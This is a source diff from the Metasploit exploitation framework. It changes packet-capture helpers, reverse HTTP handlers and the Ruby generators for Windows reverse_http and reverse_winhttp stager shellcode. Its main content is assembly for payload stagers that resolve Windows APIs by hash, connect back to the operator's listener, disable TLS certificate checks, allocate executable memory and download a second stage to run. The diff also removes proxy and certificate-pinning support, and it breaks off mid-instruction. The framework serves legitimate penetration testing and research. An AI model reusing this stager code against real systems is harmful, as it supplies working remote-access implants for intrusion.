diff --git a/data/exploits/CVE-2014-0980.pui b/data/exploits/CVE-2014-0980.pui deleted file mode 100644 index e5adbbb801..0000000000 Binary files a/data/exploits/CVE-2014-0980.pui and /dev/null differ diff --git a/data/meterpreter/ext_server_networkpug.lso b/data/meterpreter/ext_server_networkpug.lso index e4b7a9a911..dfc11e7b7d 100755 Binary files a/data/meterpreter/ext_server_networkpug.lso and b/data/meterpreter/ext_server_networkpug.lso differ diff --git a/data/meterpreter/ext_server_sniffer.lso b/data/meterpreter/ext_server_sniffer.lso index 6f1a3cfb58..14f9efd376 100755 Binary files a/data/meterpreter/ext_server_sniffer.lso and b/data/meterpreter/ext_server_sniffer.lso differ diff --git a/data/meterpreter/ext_server_stdapi.lso b/data/meterpreter/ext_server_stdapi.lso index 593caf386e..3690cf6fbf 100755 Binary files a/data/meterpreter/ext_server_stdapi.lso and b/data/meterpreter/ext_server_stdapi.lso differ diff --git a/data/meterpreter/msflinker_linux_x86.bin b/data/meterpreter/msflinker_linux_x86.bin index 8ca96330f0..d508fd9f22 100644 Binary files a/data/meterpreter/msflinker_linux_x86.bin and b/data/meterpreter/msflinker_linux_x86.bin differ diff --git a/external/source/shellcode/windows/x64/src/block/block_reverse_https.asm b/external/source/shellcode/windows/x64/src/block/block_reverse_https.asm index 7578b590c1..32ba7ff12b 100644 --- a/external/source/shellcode/windows/x64/src/block/block_reverse_https.asm +++ b/external/source/shellcode/windows/x64/src/block/block_reverse_https.asm @@ -145,7 +145,7 @@ download_more: test eax,eax ; download failed? (optional?) jz failure - mov ax, word ptr [edi] + mov rax, [rdi] add rbx, rax ; buffer += bytes_received test rax,rax ; optional? diff --git a/lib/msf/core/exploit/capture.rb b/lib/msf/core/exploit/capture.rb index 0d494ec42a..1f76773a49 100644 --- a/lib/msf/core/exploit/capture.rb +++ b/lib/msf/core/exploit/capture.rb @@ -42,7 +42,7 @@ module Msf [ true, 'Send a TTL=1 random UDP datagram to this host to discover the default gateway\'s MAC', - '8.8.8.8']), + 'www.metasploit.com']), OptPort.new('GATEWAY_PROBE_PORT', [ false, @@ -143,6 +143,7 @@ module Msf return unless self.capture self.capture = nil self.arp_capture = nil + GC.start() end def capture_extract_ies(raw) @@ -162,15 +163,26 @@ module Msf end # - # Loop through each packet + # This monstrosity works around a series of bugs in the interrupt + # signal handling of Ruby 1.9 # def each_packet return unless capture - @capture_count ||= 0 - capture.each do |pkt| - yield(pkt) - @capture_count += 1 + begin + @capture_count = 0 + reader = framework.threads.spawn("PcapReceiver", false) do + capture.each do |pkt| + yield(pkt) + @capture_count += 1 + end + end + reader.join + rescue ::Exception + raise $! + ensure + reader.kill if reader.alive? end + @capture_count end @@ -230,9 +242,10 @@ module Msf pcap.inject(pkt) Rex.sleep((delay * 1.0)/1000) end + GC.start end - # capture_sendto is intended to replace the old Rex::Socket::Ip.sendto method. It requires + # Capture_sendto is intended to replace the old Rex::Socket::Ip.sendto method. It requires # a payload and a destination address. To send to the broadcast address, set bcast # to true (this will guarantee that packets will be sent even if ARP doesn't work # out). @@ -249,20 +262,24 @@ module Msf # The return value either be a PacketFu::Packet object, or nil def inject_reply(proto=:udp, pcap=self.capture) - # Defaults to ~2 seconds - to = (datastore['TIMEOUT'] * 4) / 1000.0 - raise RuntimeError, "Could not access the capture process (remember to open_pcap first!)" if not pcap - begin - ::Timeout.timeout(to) do - pcap.each do |r| - packet = PacketFu::Packet.parse(r) - next unless packet.proto.map { |x| x.downcase.to_sym }.include? proto - return packet + reply = nil + to = (datastore['TIMEOUT'] || 500).to_f / 1000.0 + if not pcap + raise RuntimeError, "Could not access the capture process (remember to open_pcap first!)" + else + begin + ::Timeout.timeout(to) do + pcap.each do |r| + packet = PacketFu::Packet.parse(r) + next unless packet.proto.map { |x| x.downcase.to_sym }.include? proto + reply = packet + break + end end + rescue ::Timeout::Error end - rescue ::Timeout::Error end - nil + return reply end # This ascertains the correct Ethernet addresses one should use to @@ -311,19 +328,20 @@ module Msf end begin - to = ((datastore['TIMEOUT'] || 500).to_f * 8) / 1000.0 + to = (datastore['TIMEOUT'] || 1500).to_f / 1000.0 ::Timeout.timeout(to) do - loop do - my_packet = inject_reply(:udp, self.arp_capture) - next unless my_packet - next unless my_packet.payload == secret - dst_mac = self.arp_cache[:gateway] = my_packet.eth_daddr - src_mac = self.arp_cache[Rex::Socket.source_address(addr)] = my_packet.eth_saddr - return [dst_mac, src_mac] + while (my_packet = inject_reply(:udp, self.arp_capture)) + if my_packet.payload == secret + dst_mac = self.arp_cache[:gateway] = my_packet.eth_daddr + src_mac = self.arp_cache[Rex::Socket.source_address(addr)] = my_packet.eth_saddr + return [dst_mac, src_mac] + else + next + end end end rescue ::Timeout::Error - # Well, that didn't work (this is common on networks where there's no gateway, like + # Well, that didn't work (this common on networks where there's no gatway, like # VMWare network interfaces. We'll need to use a fake source hardware address. self.arp_cache[Rex::Socket.source_address(addr)] = "00:00:00:00:00:00" end @@ -336,31 +354,26 @@ module Msf return self.arp_cache[:gateway] unless should_arp? target_ip source_ip = Rex::Socket.source_address(target_ip) raise RuntimeError, "Could not access the capture process." unless self.arp_capture - p = arp_packet(target_ip, source_ip) - - # Try up to 3 times to get an ARP response - 1.upto(3) do - inject_eth(:eth_type => 0x0806, - :payload => p, - :pcap => self.arp_capture, - :eth_saddr => self.arp_cache[Rex::Socket.source_address(target_ip)] - ) - begin - to = ((datastore['TIMEOUT'] || 500).to_f * 8) / 1000.0 - ::Timeout.timeout(to) do - loop do - my_packet = inject_reply(:arp, self.arp_capture) - next unless my_packet - next unless my_packet.arp_saddr_ip == target_ip + inject_eth(:eth_type => 0x0806, + :payload => p, + :pcap => self.arp_capture, + :eth_saddr => self.arp_cache[Rex::Socket.source_address(target_ip)] + ) + begin + to = (datastore['TIMEOUT'] || 500).to_f / 1000.0 + ::Timeout.timeout(to) do + while (my_packet = inject_reply(:arp, self.arp_capture)) + if my_packet.arp_saddr_ip == target_ip self.arp_cache[target_ip] = my_packet.eth_saddr return self.arp_cache[target_ip] + else + next end end - rescue ::Timeout::Error end + rescue ::Timeout::Error end - nil end # Creates a full ARP packet, mainly for use with inject_eth() diff --git a/lib/msf/core/exploit/ipv6.rb b/lib/msf/core/exploit/ipv6.rb index 7102adcea1..8a7545381c 100644 --- a/lib/msf/core/exploit/ipv6.rb +++ b/lib/msf/core/exploit/ipv6.rb @@ -76,6 +76,7 @@ module Exploit::Remote::Ipv6 return if not @ipv6_icmp6_capture @ipv6_icmp6_capture = nil + GC.start() end # diff --git a/lib/msf/core/handler/reverse_hop_http.rb b/lib/msf/core/handler/reverse_hop_http.rb index daed63cfd8..6f4f635239 100644 --- a/lib/msf/core/handler/reverse_hop_http.rb +++ b/lib/msf/core/handler/reverse_hop_http.rb @@ -256,11 +256,11 @@ module ReverseHopHttp :expiration => datastore['SessionExpirationTimeout'], :comm_timeout => datastore['SessionCommunicationTimeout'], :ua => datastore['MeterpreterUserAgent'], - :proxy_host => datastore['PayloadProxyHost'], - :proxy_port => datastore['PayloadProxyPort'], - :proxy_type => datastore['PayloadProxyType'], - :proxy_user => datastore['PayloadProxyUser'], - :proxy_pass => datastore['PayloadProxyPass'] + :proxyhost => datastore['PROXYHOST'], + :proxyport => datastore['PROXYPORT'], + :proxy_type => datastore['PROXY_TYPE'], + :proxy_username => datastore['PROXY_USERNAME'], + :proxy_password => datastore['PROXY_PASSWORD'] blob = encode_stage(blob) diff --git a/lib/msf/core/handler/reverse_http.rb b/lib/msf/core/handler/reverse_http.rb index be367dadb6..9cf1171805 100644 --- a/lib/msf/core/handler/reverse_http.rb +++ b/lib/msf/core/handler/reverse_http.rb @@ -58,12 +58,18 @@ module ReverseHttp ], Msf::Handler::ReverseHttp) end + # Toggle for IPv4 vs IPv6 mode + # + def ipv6? + Rex::Socket.is_ipv6?(datastore['LHOST']) + end + # Determine where to bind the server # # @return [String] def listener_address - if datastore['ReverseListenerBindAddress'].to_s == "" - bindaddr = Rex::Socket.is_ipv6?(datastore['LHOST']) ? '::' : '0.0.0.0' + if datastore['ReverseListenerBindAddress'].to_s.empty? + bindaddr = (ipv6?) ? '::' : '0.0.0.0' else bindaddr = datastore['ReverseListenerBindAddress'] end @@ -71,12 +77,14 @@ module ReverseHttp bindaddr end - # Return a URI suitable for placing in a payload - # # @return [String] A URI of the form +scheme://host:port/+ def listener_uri - uri_host = Rex::Socket.is_ipv6?(listener_address) ? "[#{listener_address}]" : listener_address - "#{scheme}://#{uri_host}:#{datastore['LPORT']}/" + if ipv6? + listen_host = "[#{listener_address}]" + else + listen_host = listener_address + end + "#{scheme}://#{listen_host}:#{datastore['LPORT']}/" end # Return a URI suitable for placing in a payload. @@ -150,7 +158,6 @@ module ReverseHttp 'VirtualDirectory' => true) print_status("Started #{scheme.upcase} reverse handler on #{listener_uri}") - lookup_proxy_settings end # @@ -168,45 +175,6 @@ module ReverseHttp protected - # - # Parses the proxy settings and returns a hash - # - def lookup_proxy_settings - info = {} - return @proxy_settings if @proxy_settings - - if datastore['PayloadProxyHost'].to_s == "" - @proxy_settings = info - return @proxy_settings - end - - info[:host] = datastore['PayloadProxyHost'].to_s - info[:port] = (datastore['PayloadProxyPort'] || 8080).to_i - info[:type] = datastore['PayloadProxyType'].to_s - - uri_host = info[:host] - - if Rex::Socket.is_ipv6?(uri_host) - uri_host = "[#{info[:host]}]" - end - - info[:info] = "#{uri_host}:#{info[:port]}" - - if info[:type] == "SOCKS" - info[:info] = "socks=#{info[:info]}" - else - info[:info] = "http://#{info[:info]}" - if datastore['PayloadProxyUser'].to_s != "" - info[:username] = datastore['PayloadProxyUser'].to_s - end - if datastore['PayloadProxyPass'].to_s != "" - info[:password] = datastore['PayloadProxyPass'].to_s - end - end - - @proxy_settings = info - end - # # Parses the HTTPS request # @@ -236,8 +204,8 @@ protected blob.sub!('HTTP_COMMUNICATION_TIMEOUT = 300', "HTTP_COMMUNICATION_TIMEOUT = #{datastore['SessionCommunicationTimeout']}") blob.sub!('HTTP_USER_AGENT = None', "HTTP_USER_AGENT = '#{var_escape.call(datastore['MeterpreterUserAgent'])}'") - unless datastore['PayloadProxyHost'].blank? - proxy_url = "http://#{datastore['PayloadProxyHost']||datastore['PROXYHOST']}:#{datastore['PayloadProxyPort']||datastore['PROXYPORT']}" + unless datastore['PROXYHOST'].blank? + proxy_url = "http://#{datastore['PROXYHOST']}:#{datastore['PROXYPORT']}" blob.sub!('HTTP_PROXY = None', "HTTP_PROXY = '#{var_escape.call(proxy_url)}'") end @@ -300,11 +268,11 @@ protected :expiration => datastore['SessionExpirationTimeout'], :comm_timeout => datastore['SessionCommunicationTimeout'], :ua => datastore['MeterpreterUserAgent'], - :proxy_host => datastore['PayloadProxyHost'], - :proxy_port => datastore['PayloadProxyPort'], - :proxy_type => datastore['PayloadProxyType'], - :proxy_user => datastore['PayloadProxyUser'], - :proxy_pass => datastore['PayloadProxyPass'] + :proxyhost => datastore['PROXYHOST'], + :proxyport => datastore['PROXYPORT'], + :proxy_type => datastore['PROXY_TYPE'], + :proxy_username => datastore['PROXY_USERNAME'], + :proxy_password => datastore['PROXY_PASSWORD'] resp.body = encode_stage(blob) diff --git a/lib/msf/core/handler/reverse_https_proxy.rb b/lib/msf/core/handler/reverse_https_proxy.rb index 535cf01219..35e5a40cb7 100644 --- a/lib/msf/core/handler/reverse_https_proxy.rb +++ b/lib/msf/core/handler/reverse_https_proxy.rb @@ -40,11 +40,11 @@ module ReverseHttpsProxy [ OptString.new('LHOST', [ true, "The local listener hostname" ,"127.0.0.1"]), OptPort.new('LPORT', [ true, "The local listener port", 8443 ]), - OptString.new('PayloadProxyHost', [true, "The proxy server's IP address", "127.0.0.1"]), - OptPort.new('PayloadProxyPort', [true, "The proxy port to connect to", 8080 ]), - OptEnum.new('PayloadProxyType', [true, 'The proxy type, HTTP or SOCKS', 'HTTP', ['HTTP', 'SOCKS']]), - OptString.new('PayloadProxyUser', [ false, "An optional username for HTTP proxy authentication"]), - OptString.new('PayloadProxyPass', [ false, "An optional password for HTTP proxy authentication"]) + OptString.new('PROXYHOST', [true, "The address of the http proxy to use" ,"127.0.0.1"]), + OptInt.new('PROXYPORT', [ false, "The Proxy port to connect to", 8080 ]), + OptEnum.new('PROXY_TYPE', [true, 'Http or Socks4 proxy type', 'HTTP', ['HTTP', 'SOCKS']]), + OptString.new('PROXY_USERNAME', [ false, "An optional username for HTTP proxy authentification"]), + OptString.new('PROXY_PASSWORD', [ false, "An optional password for HTTP proxy authentification"]) ], Msf::Handler::ReverseHttpsProxy) register_advanced_options( diff --git a/lib/msf/core/payload/windows/reverse_http.rb b/lib/msf/core/payload/windows/reverse_http.rb index e3762a0bd1..55d33c78fa 100644 --- a/lib/msf/core/payload/windows/reverse_http.rb +++ b/lib/msf/core/payload/windows/reverse_http.rb @@ -27,13 +27,7 @@ module Payload::Windows::ReverseHttp super register_advanced_options( [ - OptInt.new('StagerURILength', [false, 'The URI length for the stager (at least 5 bytes)']), - OptInt.new('StagerRetryCount', [false, 'The number of times the stager should retry if the first connect fails', 10]), - OptString.new('PayloadProxyHost', [false, 'An optional proxy server IP address or hostname']), - OptPort.new('PayloadProxyPort', [false, 'An optional proxy server port']), - OptString.new('PayloadProxyUser', [false, 'An optional proxy server username']), - OptString.new('PayloadProxyPass', [false, 'An optional proxy server password']), - OptEnum.new('PayloadProxyType', [false, 'The type of HTTP proxy (HTTP or SOCKS)', 'HTTP', ['HTTP', 'SOCKS']]) + OptInt.new('HTTPStagerURILength', [false, 'The URI length for the stager (at least 5 bytes)']) ], self.class) end @@ -47,8 +41,7 @@ module Payload::Windows::ReverseHttp ssl: false, host: datastore['LHOST'], port: datastore['LPORT'], - url: generate_small_uri, - retry_count: datastore['StagerRetryCount']) + url: "/" + generate_uri_checksum(Msf::Handler::ReverseHttp::URI_CHECKSUM_INITW)) end conf = { @@ -56,13 +49,7 @@ module Payload::Windows::ReverseHttp host: datastore['LHOST'], port: datastore['LPORT'], url: generate_uri, - exitfunk: datastore['EXITFUNC'], - proxy_host: datastore['PayloadProxyHost'], - proxy_port: datastore['PayloadProxyPort'], - proxy_user: datastore['PayloadProxyUser'], - proxy_pass: datastore['PayloadProxyPass'], - proxy_type: datastore['PayloadProxyType'], - retry_count: datastore['StagerRetryCount'] + exitfunk: datastore['EXITFUNC'] } generate_reverse_http(conf) @@ -88,7 +75,7 @@ module Payload::Windows::ReverseHttp # def generate_uri - uri_req_len = datastore['StagerURILength'].to_i + uri_req_len = datastore['HTTPStagerURILength'].to_i # Choose a random URI length between 30 and 255 bytes if uri_req_len == 0 @@ -96,7 +83,7 @@ module Payload::Windows::ReverseHttp end if uri_req_len < 5 - raise ArgumentError, "Minimum StagerURILength is 5" + raise ArgumentError, "Minimum HTTPStagerURILength is 5" end "/" + generate_uri_checksum(Msf::Handler::ReverseHttp::URI_CHECKSUM_INITW, uri_req_len) @@ -125,49 +112,23 @@ module Payload::Windows::ReverseHttp # EXITFUNK processing adds 31 bytes at most (for ExitThread, only ~16 for others) space += 31 - # Proxy options? - space += 200 - # The final estimated size space end # - # Generate an assembly stub with the configured feature set and options. - # - # @option opts [Bool] :ssl Whether or not to enable SSL - # @option opts [String] :url The URI to request during staging - # @option opts [String] :host The host to connect to - # @option opts [Fixnum] :port The port to connect to - # @option opts [String] :exitfunk The exit method to use if there is an error, one of process, thread, or seh - # @option opts [String] :proxy_host The optional proxy server host to use - # @option opts [Fixnum] :proxy_port The optional proxy server port to use - # @option opts [String] :proxy_type The optional proxy server type, one of HTTP or SOCKS - # @option opts [String] :proxy_user The optional proxy server username - # @option opts [String] :proxy_pass The optional proxy server password - # @option opts [Fixnum] :retry_count The number of times to retry a failed request before giving up + # Dynamic payload generation # def asm_reverse_http(opts={}) - retry_count = [opts[:retry_count].to_i, 1].max - proxy_enabled = !!(opts[:proxy_host].to_s.strip.length > 0) - proxy_info = "" - - if proxy_enabled - if opts[:proxy_type].to_s.downcase == "socks" - proxy_info << "socks=" - else - proxy_info << "http://" - end - - proxy_info << opts[:proxy_host].to_s - if opts[:proxy_port].to_i > 0 - proxy_info << ":#{opts[:proxy_port]}" - end - end - - proxy_user = opts[:proxy_user].to_s.length == 0 ? nil : opts[:proxy_user] - proxy_pass = opts[:proxy_pass].to_s.length == 0 ? nil : opts[:proxy_pass] + # + # options should contain: + # ssl: (true|false) + # url: "/url_to_request" + # host: [hostname] + # port: [port] + # exitfunk: [process|thread|seh|sleep] + # http_open_flags = 0 @@ -192,11 +153,14 @@ module Payload::Windows::ReverseHttp asm = %Q^ ;-----------------------------------------------------------------------------; - ; Compatible: Confirmed Windows 8.1, Windows 7, Windows 2008 Server, Windows XP SP1, Windows SP3, Windows 2000 + ; Author: HD Moore + ; Compatible: Confirmed Windows 7, Windows 2008 Server, Windows XP SP1, Windows SP3, Windows 2000 ; Known Bugs: Incompatible with Windows NT 4.0, buggy on Windows XP Embedded (SP1) + ; Version: 1.0 ;-----------------------------------------------------------------------------; ; Input: EBP must be the address of 'api_call'. + ; Output: EDI will be the socket for the connection to the server ; Clobbers: EAX, ESI, EDI, ESP will also be modified (-0x1A0) load_wininet: push 0x0074656e ; Push the bytes 'wininet',0 onto the stack. @@ -204,108 +168,53 @@ module Payload::Windows::ReverseHttp push esp ; Push a pointer to the "wininet" string on the stack. push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" ) call ebp ; LoadLibraryA( "wininet" ) - xor ebx, ebx ; Set ebx to NULL to use in future arguments - ^ - if proxy_enabled - asm << %Q^ - internetopen: - push ebx ; DWORD dwFlags - push esp ; LPCTSTR lpszProxyBypass ("" = empty string) - call get_proxy_server - db "#{proxy_info}", 0x00 - get_proxy_server: - ; LPCTSTR lpszProxyName (via call) - push 3 ; DWORD dwAccessType (INTERNET_OPEN_TYPE_PROXY = 3) - push ebx ; LPCTSTR lpszAgent (NULL) - push 0xA779563A ; hash( "wininet.dll", "InternetOpenA" ) - call ebp - ^ - else - asm << %Q^ - internetopen: - push ebx ; DWORD dwFlags - push ebx ; LPCTSTR lpszProxyBypass (NULL) - push ebx ; LPCTSTR lpszProxyName (NULL) - push ebx ; DWORD dwAccessType (PRECONFIG = 0) - push ebx ; LPCTSTR lpszAgent (NULL) - push 0xA779563A ; hash( "wininet.dll", "InternetOpenA" ) - call ebp - ^ - end + set_retry: + push.i8 8 ; retry 8 times should be enough + pop edi + xor ebx, ebx ; push 8 zeros ([1]-[8]) + mov ecx, edi + push_zeros: + push ebx + loop push_zeros + + internetopen: + ; DWORD dwFlags [1] + ; LPCTSTR lpszProxyBypass (NULL) [2] + ; LPCTSTR lpszProxyName (NULL) [3] + ; DWORD dwAccessType (PRECONFIG = 0) [4] + ; LPCTSTR lpszAgent (NULL) [5] + push 0xA779563A ; hash( "wininet.dll", "InternetOpenA" ) + call ebp - asm << %Q^ internetconnect: - push ebx ; DWORD_PTR dwContext (NULL) - push ebx ; dwFlags - push 3 ; DWORD dwService (INTERNET_SERVICE_HTTP) + ; DWORD_PTR dwContext (NULL) [6] + ; dwFlags [7] + push.i8 3 ; DWORD dwService (INTERNET_SERVICE_HTTP) push ebx ; password (NULL) push ebx ; username (NULL) push #{opts[:port]} ; PORT call got_server_uri ; double call to get pointer for both server_uri and - server_uri: ; server_host; server_uri is saved in EDI for later + server_uri: ; server_host; server_uri is saved in EDI for later db "#{opts[:url]}", 0x00 got_server_host: - push eax ; HINTERNET hInternet (still in eax from InternetOpenA) + push eax ; HINTERNET hInternet push 0xC69F8957 ; hash( "wininet.dll", "InternetConnectA" ) call ebp - mov esi, eax ; Store hConnection in esi - ^ - # Note: wine-1.6.2 does not support SSL w/proxy authentication properly, it - # doesn't set the Proxy-Authorization header on the CONNECT request. - - if proxy_enabled && proxy_user - asm << %Q^ - ; DWORD dwBufferLength (length of username) - push #{proxy_user.length} - call set_proxy_username - proxy_username: - db "#{proxy_user}",0x00 - set_proxy_username: - ; LPVOID lpBuffer (username from previous call) - push 43 ; DWORD dwOption (INTERNET_OPTION_PROXY_USERNAME) - push esi ; hConnection - push 0x869E4675 ; hash( "wininet.dll", "InternetSetOptionA" ) - call ebp - ^ - end - - if proxy_enabled && proxy_pass - asm << %Q^ - ; DWORD dwBufferLength (length of password) - push #{proxy_pass.length} - call set_proxy_password - proxy_password: - db "#{proxy_pass}",0x00 - set_proxy_password: - ; LPVOID lpBuffer (password from previous call) - push 44 ; DWORD dwOption (INTERNET_OPTION_PROXY_PASSWORD) - push esi ; hConnection - push 0x869E4675 ; hash( "wininet.dll", "InternetSetOptionA" ) - call ebp - ^ - end - - asm << %Q^ httpopenrequest: - push ebx ; dwContext (NULL) + ; dwContext (NULL) [8] push #{"0x%.8x" % http_open_flags} ; dwFlags push ebx ; accept types push ebx ; referrer push ebx ; version push edi ; server URI push ebx ; method - push esi ; hConnection + push eax ; hConnection push 0x3B2E55EB ; hash( "wininet.dll", "HttpOpenRequestA" ) call ebp xchg esi, eax ; save hHttpRequest in esi - ; Store our retry counter in the edi register - set_retry: - push #{retry_count} - pop edi - send_request: ^ @@ -320,9 +229,9 @@ module Payload::Windows::ReverseHttp ;0x00000100 | ; SECURITY_FLAG_IGNORE_UNKNOWN_CA ;0x00000080 ; SECURITY_FLAG_IGNORE_REVOCATION mov eax, esp - push 4 ; sizeof(dwFlags) + push.i8 4 ; sizeof(dwFlags) push eax ; &dwFlags - push 31 ; DWORD dwOption (INTERNET_OPTION_SECURITY_FLAGS) + push.i8 31 ; DWORD dwOption (INTERNET_OPTION_SECURITY_FLAGS) push esi ; hHttpRequest push 0x869E4675 ; hash( "wininet.dll", "InternetSetOptionA" ) call ebp @@ -363,7 +272,7 @@ module Payload::Windows::ReverseHttp asm << %Q^ allocate_memory: - push 0x40 ; PAGE_EXECUTE_READWRITE + push.i8 0x40 ; PAGE_EXECUTE_READWRITE push 0x1000 ; MEM_COMMIT push 0x00400000 ; Stage allocation (4Mb ought to do us) push ebx ; NULL as we dont care where the allocation is diff --git a/lib/msf/core/payload/windows/reverse_https.rb b/lib/msf/core/payload/windows/reverse_https.rb index 7b61d72aec..b22ebbe048 100644 --- a/lib/msf/core/payload/windows/reverse_https.rb +++ b/lib/msf/core/payload/windows/reverse_https.rb @@ -40,11 +40,10 @@ module Payload::Windows::ReverseHttps # Generate the simple version of this stager if we don't have enough space if self.available_space.nil? || required_space > self.available_space return generate_reverse_https( - ssl: true, host: datastore['LHOST'], port: datastore['LPORT'], - url: generate_small_uri, - retry_count: datastore['StagerRetryCount']) + url: "/" + generate_uri_checksum(Msf::Handler::ReverseHttp::URI_CHECKSUM_INITW), + ssl: true) end conf = { @@ -52,13 +51,7 @@ module Payload::Windows::ReverseHttps host: datastore['LHOST'], port: datastore['LPORT'], url: generate_uri, - exitfunk: datastore['EXITFUNC'], - proxy_host: datastore['PayloadProxyHost'], - proxy_port: datastore['PayloadProxyPort'], - proxy_user: datastore['PayloadProxyUser'], - proxy_pass: datastore['PayloadProxyPass'], - proxy_type: datastore['PayloadProxyType'], - retry_count: datastore['StagerRetryCount'] + exitfunk: datastore['EXITFUNC'] } generate_reverse_https(conf) diff --git a/lib/msf/core/payload/windows/reverse_winhttp.rb b/lib/msf/core/payload/windows/reverse_winhttp.rb index 8a5be39790..bbb4d94575 100644 --- a/lib/msf/core/payload/windows/reverse_winhttp.rb +++ b/lib/msf/core/payload/windows/reverse_winhttp.rb @@ -36,8 +36,7 @@ module Payload::Windows::ReverseWinHttp ssl: false, host: datastore['LHOST'], port: datastore['LPORT'], - url: generate_small_uri, - retry_count: datastore['StagerRetryCount']) + url: generate_small_uri) end conf = { @@ -45,8 +44,7 @@ module Payload::Windows::ReverseWinHttp host: datastore['LHOST'], port: datastore['LPORT'], url: generate_uri, - exitfunk: datastore['EXITFUNC'], - retry_count: datastore['StagerRetryCount'] + exitfunk: datastore['EXITFUNC'] } generate_reverse_winhttp(conf) @@ -100,32 +98,23 @@ module Payload::Windows::ReverseWinHttp join(",") end - # - # Generate an assembly stub with the configured feature set and options. - # - # @option opts [Bool] :ssl Whether or not to enable SSL - # @option opts [String] :url The URI to request during staging - # @option opts [String] :host The host to connect to - # @option opts [Fixnum] :port The port to connect to - # @option opts [Bool] :verify_ssl Whether or not to do SSL certificate validation - # @option opts [String] :verify_cert_hash A 20-byte raw SHA-1 hash of the certificate to verify - # @option opts [String] :exitfunk The exit method to use if there is an error, one of process, thread, or seh - # @option opts [Fixnum] :retry_count The number of times to retry a failed request before giving up + # Dynamic payload generation # def asm_reverse_winhttp(opts={}) - retry_count = [opts[:retry_count].to_i, 1].max - verify_ssl = nil - encoded_cert_hash = nil - encoded_url = asm_generate_wchar_array(opts[:url]) - encoded_host = asm_generate_wchar_array(opts[:host]) - if opts[:ssl] && opts[:verify_cert] && opts[:verify_cert_hash] - verify_ssl = true - encoded_cert_hash = opts[:verify_cert_hash].unpack("C*").map{|c| "0x%.2x" % c }.join(",") - end + # + # options should contain: + # ssl: (true|false) + # url: "/url_to_request" + # host: [hostname] + # port: [port] + # exitfunk: [process|thread|seh|sleep] + # + encoded_url = asm_generate_wchar_array(opts[:url]) + encoded_host = asm_generate_wchar_array(opts[:host]) http_open_flags = 0 @@ -148,52 +137,46 @@ module Payload::Windows::ReverseWinHttp push esp ; Push a pointer to the "winhttp" string push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" ) call ebp ; LoadLibraryA( "winhttp" ) - ^ - if verify_ssl - asm << %Q^ - load_crypt32: - push 0x00323374 ; Push the string 'crypt32',0 - push 0x70797263 ; ... - push esp ; Push a pointer to the "crypt32" string - push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" ) - call ebp ; LoadLibraryA( "wincrypt" ) - ^ - end + set_retry: + push.i8 6 ; retry 6 times + pop edi + xor ebx, ebx + mov ecx, edi - asm << %Q^ - - xor ebx, ebx + push_zeros: + push ebx ; NULL values for the WinHttpOpen API parameters + loop push_zeros WinHttpOpen: - push ebx ; Flags - push ebx ; ProxyBypass (NULL) - push ebx ; ProxyName (NULL) - push ebx ; AccessType (DEFAULT_PROXY= 0) - push ebx ; UserAgent (NULL) [1] + ; Flags [5] + ; ProxyBypass (NULL) [4] + ; ProxyName (NULL) [3] + ; AccessType (DEFAULT_PROXY= 0) [2] + ; UserAgent (NULL) [1] push 0xBB9D1F04 ; hash( "winhttp.dll", "WinHttpOpen" ) call ebp WinHttpConnect: - push ebx ; Reserved (NULL) + push ebx ; Reserved (NULL) [4] push #{opts[:port]} ; Port [3] call got_server_uri ; Double call to get pointer for both server_uri and - server_uri: ; server_host; server_uri is saved in edi for later + server_uri: ; server_host; server_uri is saved in EDI for later db #{encoded_url} got_server_host: - push eax ; Session handle returned by WinHttpOpen + push eax ; Session handle returned by WinHttpOpen [1] push 0xC21E9B46 ; hash( "winhttp.dll", "WinHttpConnect" ) call ebp WinHttpOpenRequest: - push #{"0x%.8x" % http_open_flags} - push ebx ; AcceptTypes (NULL) - push ebx ; Referrer (NULL) - push ebx ; Version (NULL) - push edi ; ObjectName (URI) - push ebx ; Verb (GET method) (NULL) - push eax ; Connect handle returned by WinHttpConnect + push.i32 #{"0x%.8x" % http_open_flags} + push ebx ; AcceptTypes (NULL) [6] + push ebx ; Referrer (NULL) [5] + push ebx ; Version (NULL) [4] + push edi ; ObjectName (URI) [3] + push ebx ; Verb (GET method) (NULL) [2] + push eax ; Connect handler returned by WinHttpConnect [1] push 0x5BB31098 ; hash( "winhttp.dll", "WinHttpOpenRequest" ) call ebp xchg esi, eax ; save HttpRequest handler in esi @@ -209,9 +192,9 @@ module Payload::Windows::ReverseWinHttp ;0x00000200 | ; SECURITY_FLAG_IGNORE_WRONG_USAGE ;0x00000100 | ; SECURITY_FLAG_IGNORE_UNKNOWN_CA mov eax, esp - push 4 ; sizeof(buffer) + push.i8 4 ; sizeof(buffer) push eax ; &buffer - push 31 ; DWORD dwOption (WINHTTP_OPTION_SECURITY_FLAGS) + push.i8 31 ; DWORD dwOption (WINHTTP_OPTION_SECURITY_FLAGS) push esi ; hHttpRequest push 0xCE9D58D3 ; hash( "winhttp.dll", "WinHttpSetOption" ) call ebp @@ -219,11 +202,6 @@ module Payload::Windows::ReverseWinHttp end asm << %Q^ - ; Store our retry counter in the edi register - set_retry: - push #{retry_count} - pop edi - send_request: WinHttpSendRequest: @@ -237,7 +215,7 @@ module Payload::Windows::ReverseWinHttp push 0x91BB5895 ; hash( "winhttp.dll", "WinHttpSendRequest" ) call ebp test eax,eax - jnz check_response ; if TRUE call WinHttpReceiveResponse API + jnz receive_response ; if TRUE call WinHttpReceiveResponse API try_it_again: dec edi @@ -259,79 +237,12 @@ module Payload::Windows::ReverseWinHttp ^ end - # Jump target if the request was sent successfully - asm << %Q^ - check_response: - ^ - - # Verify the SSL certificate hash - if verify_ssl - - asm << %Q^ - ssl_cert_get_context: - push 4 - mov ecx, esp ; Allocate &bufferLength - push 0 - mov ebx, esp ; Allocate &buffer (ebx will point to *pCert) - - push ecx ; &bufferLength - push ebx ; &buffer - push 78 ; DWORD dwOption (WINHTTP_OPTION_SERVER_CERT_CONTEXT) - push esi ; hHttpRequest - push 0x272F0478 ; hash( "winhttp.dll", "WinHttpQueryOption" ) - call ebp - test eax, eax ; - jz failure ; Bail out if we couldn't get the certificate context - - ; ebx - ssl_cert_allocate_hash_space: - push 20 ; - mov ecx, esp ; Store a reference to the address of 20 - sub esp,[ecx] ; Allocate 20 bytes for the hash output - mov edi, esp ; edi will point to our buffer - - ssl_cert_get_server_hash: - push ecx ; &bufferLength - push edi ; &buffer (20-byte SHA1 hash) - push 3 ; DWORD dwPropId (CERT_SHA1_HASH_PROP_ID) - push [ebx] ; *pCert - push 0xC3A96E2D ; hash( "crypt32.dll", "CertGetCertificateContextProperty" ) - call 